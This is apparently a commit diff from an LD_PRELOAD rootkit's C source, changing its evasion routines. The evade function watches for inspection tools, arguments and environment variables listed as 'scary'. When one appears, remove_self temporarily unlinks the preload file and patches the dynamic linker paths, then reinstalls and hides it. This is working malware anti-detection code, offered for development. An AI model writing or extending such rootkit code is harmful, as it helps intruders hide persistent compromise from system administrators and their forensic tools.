1+ /* uninstall. continue execution in child. reinstall in parent. */
12int remove_self (void ){
23 if (not_user (0 ))
34 return VINVALID_PERM ;
45
56 hook (CUNLINK );
67#ifdef PATCH_DYNAMIC_LINKER
8+ for (int i = 0 ; i != LDPATHS_SIZE ; i ++ )
9+ ldpatch (ldpaths [i ], PRELOAD_FILE , OLD_PRELOAD , NORMLUSR );
710 call (CUNLINK , PRELOAD_FILE );
811#else
912 call (CUNLINK , OLD_PRELOAD );
@@ -19,6 +22,8 @@ int remove_self(void){
1922
2023 wait (NULL );
2124#ifdef PATCH_DYNAMIC_LINKER
25+ for (int i = 0 ; i != LDPATHS_SIZE ; i ++ )
26+ ldpatch (ldpaths [i ], OLD_PRELOAD , PRELOAD_FILE , NORMLUSR );
2227 reinstall (PRELOAD_FILE );
2328 hide_path (PRELOAD_FILE );
2429#else
@@ -28,44 +33,40 @@ int remove_self(void){
2833 return VEVADE_DONE ;
2934}
3035
36+
37+ /* checks all of the scary_* arrays created by setup.py against execve/p args.
38+ * the scary_procs loop checks the name of the calling process as well. */
3139int evade (const char * filename , char * const argv [], char * const envp []){
3240 char * scary_proc , * scary_path ;
3341
34- /* check scary_procs array */
3542 for (int i = 0 ; i < SCARY_PROCS_SIZE ; i ++ ){
3643 scary_proc = scary_procs [i ];
3744
3845 char path [strlen (scary_proc ) + 3 ];
3946 snprintf (path , sizeof (path ), "*/%s" , scary_proc );
4047
41- /* determine if calling process is a scary process, or someone
42- * is trying to launch a scary process. */
43- if (process (scary_proc )) return remove_self ();
44- else if (strstr (scary_proc , filename )) return remove_self ();
45- else if (!fnmatch (path , filename , FNM_PATHNAME )) return remove_self ();
48+ if (process (scary_proc ) || strstr (filename , scary_proc ) || !fnmatch (path , filename , FNM_PATHNAME ))
49+ return remove_self ();
4650 }
4751
48- /* check scary_paths array.
49- see if somebody is trying to call the dynamic linker
50- in order to resolve a path's dependencies. */
5152 for (int i = 0 ; i < SCARY_PATHS_SIZE ; i ++ ){
5253 scary_path = scary_paths [i ];
5354
54- if (!fnmatch (scary_path , filename , FNM_PATHNAME ) || strstr (scary_path , filename ))
55- for (int ii = 0 ; argv [ii ] != NULL ; ii ++ )
56- if (!strncmp ("--list" , argv [ii ], 6 ))
55+ for (int argi = 1 ; argv [argi ] != NULL ; argi ++ )
56+ if (!fnmatch (scary_path , argv [argi ], FNM_PATHNAME ))
57+ return remove_self ();
58+
59+ if (!fnmatch (scary_path , filename , FNM_PATHNAME ))
60+ for (int argi = 0 ; argv [argi ] != NULL ; argi ++ )
61+ if (!strncmp ("--list" , argv [argi ], 6 ))
5762 return remove_self ();
5863 }
5964
60- /* check scary_variables array to see if there is anything
61- set that is a potential threat and subvert it. */
6265 if (envp != NULL )
6366 for (int i = 0 ; envp [i ] != NULL ; i ++ )
6467 for (int ii = 0 ; ii < SCARY_VARIABLES_SIZE ; ii ++ )
6568 if (!strncmp (scary_variables [ii ], envp [i ], strlen (scary_variables [ii ])))
6669 return remove_self ();
6770
68- /* if the above checks bore no results, there is (apparently)
69- * nothing to do. */
7071 return VNOTHING_DONE ;
7172}
0 commit comments